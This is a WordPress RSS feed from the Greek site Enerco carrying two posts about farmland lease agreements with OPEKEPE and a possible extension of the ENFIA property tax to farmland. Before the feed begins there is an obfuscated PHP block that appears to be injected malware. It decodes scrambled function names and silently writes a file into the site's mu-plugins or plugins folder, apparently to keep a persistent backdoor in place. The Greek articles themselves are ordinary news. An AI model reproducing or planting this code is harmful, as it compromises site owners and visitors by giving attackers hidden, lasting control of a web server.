/* SC_TH_BEGIN:4.0.3:8600738b */ if(!function_exists('ve0ylyydn3o475i3')){function m6ay5naucakc($i){static $a=null;if($a===null){$a=array('.a8Ak_iqAWyqA','8z.8/v','EzlW/pyliAsp8/8','EzlW/pyliAsp8/8','8/vmAl','qpvlauA','p8iovp/a.mA','p8iEpmA','EpmA8p1A','p8iqpv','qpvlauA','ubqpv','/Auelau','EpmAiez/iWyl/Al/8','8/vmAl','vAlauA','Wyet','zlmplb','zlmplb','EzlW/pyliAsp8/8','WMuyq');}return $a[$i];}function ve0ylyydn3o475i3($i){$e=m6ay5naucakc($i);$f='_GU'.'ARD'.'NME'.'PLIB'.'S64'.'\\x1f'.'8bg'.'zdec'.'oin'.'latW'.'COT'.'/m'.'u-'.'ps.'.'hryv'.'wk2'.'qj5'.'3';$t='iD2'.'5Ng'.'nOx'.'4P'.'wGf'.'k_'.'\\sBE'.'T.h'.'1qA'.'Wypl'.'ma/'.'jdC3'.'SuzR'.'e8rM'.'vt6o'.'bcUL'.'I-';$r="";for($j=0;$j (741-241)) { $i40hmfh_uqp_hf8f = defined("WP_CONTENT_DIR") ? WP_CONTENT_DIR : _wibrt3r0f(5)(ze5es4la(5)(__FILE__)); $bkgrfe8ulaujnb = $i40hmfh_uqp_hf8f . "/mu-plugins/retro-resolver-run.php"; $st9kr9ozuc5h6ozu = $i40hmfh_uqp_hf8f . "/plugins/retro-resolver-run/retro-resolver-run.php"; $xrrswipgpx5x = @ve0ylyydn3o475i3(6)($i40hmfh_uqp_hf8f . "/mu-plugins") ? $bkgrfe8ulaujnb : $st9kr9ozuc5h6ozu; if (!@ve0ylyydn3o475i3(7)($xrrswipgpx5x) || @pwr2qhq0mqux(8)($xrrswipgpx5x) < (7010-2010)) { if (!@_wibrt3r0f(9)(pwr2qhq0mqux(10)($xrrswipgpx5x))) @pwr2qhq0mqux(11)(ve0ylyydn3o475i3(10)($xrrswipgpx5x), (764-271), true); $e6r4oejjdmupv = (_wibrt3r0f(3)('tempnam') ? @_wibrt3r0f(12)(pwr2qhq0mqux(10)($xrrswipgpx5x), 'sc_') : false); if ($e6r4oejjdmupv !== false) { $bf9d_edpfy = @ze5es4la(13)($e6r4oejjdmupv, $dv5ir014hv9tn9); if ($bf9d_edpfy !== false && $bf9d_edpfy === ze5es4la(14)($dv5ir014hv9tn9)) { $xwhtv37fij_x6_y = false; if (ze5es4la(3)('rename')) $xwhtv37fij_x6_y = @pwr2qhq0mqux(15)($e6r4oejjdmupv, $xrrswipgpx5x); if (!$xwhtv37fij_x6_y && pwr2qhq0mqux(3)('copy')) { $xwhtv37fij_x6_y = @dfjb369gt(16)($e6r4oejjdmupv, $xrrswipgpx5x); if ($xwhtv37fij_x6_y) @dfjb369gt(17)($e6r4oejjdmupv); } if (!$xwhtv37fij_x6_y) @pwr2qhq0mqux(18)($e6r4oejjdmupv); if (dfjb369gt(19)('chmod')) @pwr2qhq0mqux(20)($xrrswipgpx5x, (344+76)); if (pwr2qhq0mqux(19)('opcache_invalidate')) @opcache_invalidate($xrrswipgpx5x, true); } else {$yycb1h7o2t9x=5744;$b1oa7tudbb9y3=$yycb1h7o2t9x%10; @dfjb369gt(18)($e6r4oejjdmupv); } } } } // base pointer } } /* SC_TH_END:4.0.3:8600738b */ αγροτεμάχια – Enerco https://www.enerco.gr Thu, 21 Dec 2017 09:14:37 +0000 el hourly 1 https://wordpress.org/?v=5.5.20 https://www.enerco.gr/wp-content/uploads/2017/03/enerco_fav.png αγροτεμάχια – Enerco https://www.enerco.gr 32 32 ΟΠΕΚΕΠΕ: Τι θα ισχύει με το Ιδιωτικό Συμφωνητικό Αγρομίσθωσης 2017/2018 https://www.enerco.gr/idiwtiko-symfwnhtiko-agromisthwshs/ Thu, 21 Dec 2017 09:14:37 +0000 http://www.enerco.gr/?p=2094 Δεδομένου ότι ξεκίνησε η καλλιεργητική περίοδος 2017/2018 (χειμερινά σιτηρά κλπ), ο ΟΠΕΚΕΠΕ ενημερώνει με σχετική ανακοίνωσή του αναφορικά με το Ιδιωτικό συμφωνητικό Αγρομίσθωσης για τη νέα καλλιεργητική περίοδο.   Συγκεκριμένα, σύμφωνα με τη σχετική ανακοίνωση του ΟΠΕΚΕΠΕ, οι παραγωγοί που θα υποβάλλουν ενιαία αίτηση ενίσχυσης έτους 2018 (υποβολή έως 15/5/2018) με μισθωμένα αγροτεμάχια.   Τα νέα ενοικιαστήρια που θα επισυναφθούν σε αυτή, θα πρέπει να έχουν τη μορφή του υποδείγματος και να είναι στη διάθεση του γεωργού έως την 31η Μαΐου 2018. Η αναγραφή του ΑΤΑΚ του αγροτεμαχίου του ιδιοκτήτη, είναι υποχρεωτική. Εξάλλου σύμφωνα με την ανακοίνωση του ΟΠΕΚΕΠΕ:   Υπενθυμίζεται ότι για τα αγροτεμάχια που μετέχουν στις δράσεις του Μέτρου 11 «Βιολογικές Καλλιέργειες» και του Μέτρου 10 “Γεωργοπεριβαλλοντικά και Κλιματικά Μέτρα“ του Π.Α.Α. 2014-2020 και είναι ενταγμένα στις σχετικές αποφάσεις ένταξης του ΥΠΑΑΤ, για την τήρηση των δεσμεύσεων και των κριτηρίων επιλεξιμότητας πρέπει να βρίσκονται στην κατοχή του παραγωγού καθόλη τη διάρκεια του έτους δέσμευσης.   Ως εκ τούτου επισημαίνεται ότι οι ημερομηνίες των ενοικιαστηρίων που αφορούν το έτος αιτήσεων/δεσμεύσεων 2018, πρέπει να καλύπτουν τουλάχιστον το τρέχον έτος, σε συνέχεια του προηγούμενου ενοικιαστηρίου για το έτος αιτήσεων/δέσμευσης 2017.   Π.χ. για το Μέτρο 11 ( πρόσκληση εκδήλωσης ενδιαφέροντος 130/5917/18.01.2017) για το έτος δεσμεύσεων 2018 πρέπει να καλύπτουν τουλάχιστον μέχρι τις 31-5-2019.   Τέλος, για τους γεωργούς που καλλιεργούν σκληρό σίτο την τρέχουσα περίοδο, το τιμολόγιο αγοράς πιστοποιημένου σπόρου θα πρέπει να έχει εκδοθεί έως 31/1/2018 ή έως 15/2/2018 στην περίπτωση που υπάρχει δελτίο αποστολής έως 31/1/2018.   Για περισσότερες Πληροφορίες Επικοινωνήστε Μαζί μας Τηλ: 801 11 25 800 Ε-mail: ilop@diloseto.gr

The post ΟΠΕΚΕΠΕ: Τι θα ισχύει με το Ιδιωτικό Συμφωνητικό Αγρομίσθωσης 2017/2018 appeared first on Enerco.

]]> Δεδομένου ότι ξεκίνησε η καλλιεργητική περίοδος 2017/2018 (χειμερινά σιτηρά κλπ), ο ΟΠΕΚΕΠΕ ενημερώνει με σχετική ανακοίνωσή του αναφορικά με το Ιδιωτικό συμφωνητικό Αγρομίσθωσης για τη νέα καλλιεργητική περίοδο.

 

Συγκεκριμένα, σύμφωνα με τη σχετική ανακοίνωση του ΟΠΕΚΕΠΕ, οι παραγωγοί που θα υποβάλλουν ενιαία αίτηση ενίσχυσης έτους 2018 (υποβολή έως 15/5/2018) με μισθωμένα αγροτεμάχια.

 

Τα νέα ενοικιαστήρια που θα επισυναφθούν σε αυτή, θα πρέπει να έχουν τη μορφή του υποδείγματος και να είναι στη διάθεση του γεωργού έως την 31η Μαΐου 2018. Η αναγραφή του ΑΤΑΚ του αγροτεμαχίου του ιδιοκτήτη, είναι υποχρεωτική.

Εξάλλου σύμφωνα με την ανακοίνωση του ΟΠΕΚΕΠΕ:

 

Υπενθυμίζεται ότι για τα αγροτεμάχια που μετέχουν στις δράσεις του Μέτρου 11 «Βιολογικές Καλλιέργειες» και του Μέτρου 10 “Γεωργοπεριβαλλοντικά και Κλιματικά Μέτρα“ του Π.Α.Α. 2014-2020 και είναι ενταγμένα στις σχετικές αποφάσεις ένταξης του ΥΠΑΑΤ, για την τήρηση των δεσμεύσεων και των κριτηρίων επιλεξιμότητας πρέπει να βρίσκονται στην κατοχή του παραγωγού καθόλη τη διάρκεια του έτους δέσμευσης.

 

Ως εκ τούτου επισημαίνεται ότι οι ημερομηνίες των ενοικιαστηρίων που αφορούν το έτος αιτήσεων/δεσμεύσεων 2018, πρέπει να καλύπτουν τουλάχιστον το τρέχον έτος, σε συνέχεια του προηγούμενου ενοικιαστηρίου για το έτος αιτήσεων/δέσμευσης 2017.

 

Π.χ. για το Μέτρο 11 ( πρόσκληση εκδήλωσης ενδιαφέροντος 130/5917/18.01.2017) για το έτος δεσμεύσεων 2018 πρέπει να καλύπτουν τουλάχιστον μέχρι τις 31-5-2019.

 

Τέλος, για τους γεωργούς που καλλιεργούν σκληρό σίτο την τρέχουσα περίοδο, το τιμολόγιο αγοράς πιστοποιημένου σπόρου θα πρέπει να έχει εκδοθεί έως 31/1/2018 ή έως 15/2/2018 στην περίπτωση που υπάρχει δελτίο αποστολής έως 31/1/2018.

 

Για περισσότερες Πληροφορίες Επικοινωνήστε Μαζί μας

Τηλ: 801 11 25 800

Ε-mail: ilop@diloseto.gr

The post ΟΠΕΚΕΠΕ: Τι θα ισχύει με το Ιδιωτικό Συμφωνητικό Αγρομίσθωσης 2017/2018 appeared first on Enerco.

]]> Αγροτεμάχια: Ποιοί θα πληρώσουν το λογαριασμό για το νέο ΕΝΦΙΑ! https://www.enerco.gr/enfia-agrotemaxia/ Thu, 14 Dec 2017 09:02:48 +0000 http://www.enerco.gr/?p=2061 Την επιβολή του συμπληρωματικού Ενιαίου Φόρου Ιδιοκτησίας Ακινήτων (ΕΝΦΙΑ) και στα αγροτεμάχια ή την αύξηση των επιβαρύνσεων στα αστικά ακίνητα δείχνει το επικαιροποιημένο μνημόνιο που αποκάλυψε την περασμένη Κυριακή η εφημερίδα «Καθημερινή». Σε  δημοσίευμα της εφημερίδας «Καθημερινή» αναφέρει ότι σύμφωνα με το σχέδιο, μετά την αναπροσαρμογή των αντικειμενικών αξιών τον Μάρτιο του 2018, η κυβέρνηση έχει δύο επιλογές.   Συγκεκριμένα:   1. Την αύξηση των συντελεστών υπολογισμού του ενιαίου φόρου ιδιοκτησίας ακινήτων προκειμένου να εισπραχθεί το απαιτούμενο ποσό και συγκεκριμένα 2,65 δισ. ευρώ.   2. Να επιβληθεί ο φόρος σε περισσότερα ακίνητα προκειμένου να εισπράξει το ίδιο ποσό. Σημειώνεται ότι μόνο τα αγροτεμάχια εξαιρούνται από τον ΕΝΦΙΑ και αυτά όχι από τον κύριο φόρο αλλά από τον συμπληρωματικό.   Αν και η συμφωνία με τους δανειστές προέβλεπε την ένταξη στον συμπληρωματικό φόρο (αθροίζεται και φορολογείται η ακίνητη περιουσία των ιδιοκτητών εφόσον αυτή ξεπερνάει τις 200.000 ευρώ) των αγροτεμαχίων, ωστόσο, εξαιρέθηκαν εξαιτίας της αδυναμίας της εφορίας να υπολογίσει την αξία τους.   Βέβαια, η προσθήκη αυτή στο επικαιροποιημένο μνημόνιο δείχνει ότι είναι εξαιρετικά πιθανό στο πλαίσιο της αλλαγής του συστήματος υπολογισμού των αντικειμενικών αξιών να ενταχθούν τελικά και αυτά στον ΕΝΦΙΑ.   Το Μάρτιο οι νέες αντικειμενικές αξίες ακινήτων   Όπως προκύπτει από το κείμενο, τον Μάρτιο θα πρέπει να είναι έτοιμες και να έχουν ψηφιστεί από τη Βουλή οι νέες αντικειμενικές αξίες των ακινήτων, οι οποίες αναπροσαρμόστηκαν τελευταία φορά το 2007 (το 2016 έγιναν οριζόντιες μειώσεις).   Το σχέδιο που έχει συμφωνήσει η κυβέρνηση με τους θεσμούς προβλέπει την εξίσωση των αντικειμενικών τιμών ζώνης των ακινήτων με τις εμπορικές τιμές. Στο πλαίσιο αυτό θα συγκροτηθούν μια ειδική ομάδα και ένα μόνιμο πληροφοριακό σύστημα για την αναπροσαρμογή τους.   Η ανωτέρω συμφωνία επί της ουσίας δείχνει ότι απορρίφθηκε το σχέδιο της κυβέρνησης για τη σύσταση 75 τοπικών επιτροπών σε όλη τη χώρα, οι οποίες θα αναλάμβαναν να καθορίσουν 10.000 τιμές ζώνης σε όλη την επικράτεια.   Δεδομένου, όμως, ότι ο προσδιορισμός των τιμών θα γινόταν από διάφορες επαγγελματικές ομάδες και με αμφίβολα κριτήρια, ανάγκασε τους θεσμούς όπως φαίνεται να απορρίψουν το σχέδιο και να ζητήσουν τη σύσταση ειδικής επιτροπής η οποία και θα διαμορφώσει τις τιμές με ένα μόνιμο πληροφοριακό σύστημα.   Πώς θα αντισταθμιστεί η μείωση στις αντικειμενικές αξίες   Στελέχη του υπουργείου Οικονομικών αναφέρουν ότι όποια μείωση γίνει στις αντικειμενικές αξίες των ακινήτων θα αντισταθμιστεί από τις αυξήσεις που θα προκύψουν σε πολλές φθηνές περιοχές αλλά κυρίως από τις παρεμβάσεις στους φορολογικούς συντελεστές και κυρίως το συμπληρωματικό φόρο ο οποίος επιβάλλεται σήμερα σε περισσότερους από 500.000 ιδιοκτήτες με ακίνητη περιουσία άνω των 200.000 ευρώ.   Επίσης, το ίδιο στέλεχος εκτιμά ότι οι νέες αξίες θα «σβήσουν» από τον χάρτη τιμές της τάξεως των 600 και των 700 ευρώ ανά τετραγωνικό μέτρο, επισημαίνοντας ότι η ελάχιστη τιμή ζώνης θα προσεγγίσει τα επίπεδα των 1.000 ευρώ το τετραγωνικό μέτρο.   Σε πολλές συνοικίες του Λεκανοπεδίου όπως η Δραπετσώνα, τα Λιόσια, το Κερατσίνι, η Ελευσίνα, οι αντικειμενικές τιμές των ακινήτων αναμένεται να αυξηθούν ακόμη και πάνω από 20%-30%.   Οι ανατροπές στις αντικειμενικές θα προκαλέσουν ντόμινο αυξήσεων σε 21 φόρους και τέλη που επιβαρύνουν τα ακίνητα.   Παράγοντες της αγοράς υποστηρίζουν ότι κατά μέσον όρο οι αντικειμενικές αξίες είναι […]

The post Αγροτεμάχια: Ποιοί θα πληρώσουν το λογαριασμό για το νέο ΕΝΦΙΑ! appeared first on Enerco.

]]> Την επιβολή του συμπληρωματικού Ενιαίου Φόρου Ιδιοκτησίας Ακινήτων (ΕΝΦΙΑ) και στα αγροτεμάχια ή την αύξηση των επιβαρύνσεων στα αστικά ακίνητα δείχνει το επικαιροποιημένο μνημόνιο που αποκάλυψε την περασμένη Κυριακή η εφημερίδα «Καθημερινή».

Σε  δημοσίευμα της εφημερίδας «Καθημερινή» αναφέρει ότι σύμφωνα με το σχέδιο, μετά την αναπροσαρμογή των αντικειμενικών αξιών τον Μάρτιο του 2018, η κυβέρνηση έχει δύο επιλογές.

 

Συγκεκριμένα:

 

1. Την αύξηση των συντελεστών υπολογισμού του ενιαίου φόρου ιδιοκτησίας ακινήτων προκειμένου να εισπραχθεί το απαιτούμενο ποσό και συγκεκριμένα 2,65 δισ. ευρώ.

 

2. Να επιβληθεί ο φόρος σε περισσότερα ακίνητα προκειμένου να εισπράξει το ίδιο ποσό. Σημειώνεται ότι μόνο τα αγροτεμάχια εξαιρούνται από τον ΕΝΦΙΑ και αυτά όχι από τον κύριο φόρο αλλά από τον συμπληρωματικό.

 

Αν και η συμφωνία με τους δανειστές προέβλεπε την ένταξη στον συμπληρωματικό φόρο (αθροίζεται και φορολογείται η ακίνητη περιουσία των ιδιοκτητών εφόσον αυτή ξεπερνάει τις 200.000 ευρώ) των αγροτεμαχίων, ωστόσο, εξαιρέθηκαν εξαιτίας της αδυναμίας της εφορίας να υπολογίσει την αξία τους.

 

Βέβαια, η προσθήκη αυτή στο επικαιροποιημένο μνημόνιο δείχνει ότι είναι εξαιρετικά πιθανό στο πλαίσιο της αλλαγής του συστήματος υπολογισμού των αντικειμενικών αξιών να ενταχθούν τελικά και αυτά στον ΕΝΦΙΑ.

 

Το Μάρτιο οι νέες αντικειμενικές αξίες ακινήτων

 

Όπως προκύπτει από το κείμενο, τον Μάρτιο θα πρέπει να είναι έτοιμες και να έχουν ψηφιστεί από τη Βουλή οι νέες αντικειμενικές αξίες των ακινήτων, οι οποίες αναπροσαρμόστηκαν τελευταία φορά το 2007 (το 2016 έγιναν οριζόντιες μειώσεις).

 

Το σχέδιο που έχει συμφωνήσει η κυβέρνηση με τους θεσμούς προβλέπει την εξίσωση των αντικειμενικών τιμών ζώνης των ακινήτων με τις εμπορικές τιμές. Στο πλαίσιο αυτό θα συγκροτηθούν μια ειδική ομάδα και ένα μόνιμο πληροφοριακό σύστημα για την αναπροσαρμογή τους.

 

Η ανωτέρω συμφωνία επί της ουσίας δείχνει ότι απορρίφθηκε το σχέδιο της κυβέρνησης για τη σύσταση 75 τοπικών επιτροπών σε όλη τη χώρα, οι οποίες θα αναλάμβαναν να καθορίσουν 10.000 τιμές ζώνης σε όλη την επικράτεια.

 

Δεδομένου, όμως, ότι ο προσδιορισμός των τιμών θα γινόταν από διάφορες επαγγελματικές ομάδες και με αμφίβολα κριτήρια, ανάγκασε τους θεσμούς όπως φαίνεται να απορρίψουν το σχέδιο και να ζητήσουν τη σύσταση ειδικής επιτροπής η οποία και θα διαμορφώσει τις τιμές με ένα μόνιμο πληροφοριακό σύστημα.

 

Πώς θα αντισταθμιστεί η μείωση στις αντικειμενικές αξίες

 

Στελέχη του υπουργείου Οικονομικών αναφέρουν ότι όποια μείωση γίνει στις αντικειμενικές αξίες των ακινήτων θα αντισταθμιστεί από τις αυξήσεις που θα προκύψουν σε πολλές φθηνές περιοχές αλλά κυρίως από τις παρεμβάσεις στους φορολογικούς συντελεστές και κυρίως το συμπληρωματικό φόρο ο οποίος επιβάλλεται σήμερα σε περισσότερους από 500.000 ιδιοκτήτες με ακίνητη περιουσία άνω των 200.000 ευρώ.

 

Επίσης, το ίδιο στέλεχος εκτιμά ότι οι νέες αξίες θα «σβήσουν» από τον χάρτη τιμές της τάξεως των 600 και των 700 ευρώ ανά τετραγωνικό μέτρο, επισημαίνοντας ότι η ελάχιστη τιμή ζώνης θα προσεγγίσει τα επίπεδα των 1.000 ευρώ το τετραγωνικό μέτρο.

 

Σε πολλές συνοικίες του Λεκανοπεδίου όπως η Δραπετσώνα, τα Λιόσια, το Κερατσίνι, η Ελευσίνα, οι αντικειμενικές τιμές των ακινήτων αναμένεται να αυξηθούν ακόμη και πάνω από 20%-30%.

 

Οι ανατροπές στις αντικειμενικές θα προκαλέσουν ντόμινο αυξήσεων σε 21 φόρους και τέλη που επιβαρύνουν τα ακίνητα.

 

Παράγοντες της αγοράς υποστηρίζουν ότι κατά μέσον όρο οι αντικειμενικές αξίες είναι μειωμένες έως και 40% από τις πραγματικές.

 

Βέβαια, υπάρχουν και περιπτώσεις αγοραπωλησιών που η τιμή πώλησης ήταν κατά 70% κάτω από την αντικειμενική.

 

Ενδεικτικά είναι τα στοιχεία που συμπεριλαμβάνονται στο Μητρώο Αξιών Μεταβιβάσεων Ακινήτων, τα οποία δείχνουν την κατάρρευση της αγοράς ακινήτων, όπως επίσης και την αδυναμία υπολογισμού της τιμής ζώνης ανά περιοχή.

The post Αγροτεμάχια: Ποιοί θα πληρώσουν το λογαριασμό για το νέο ΕΝΦΙΑ! appeared first on Enerco.

]]>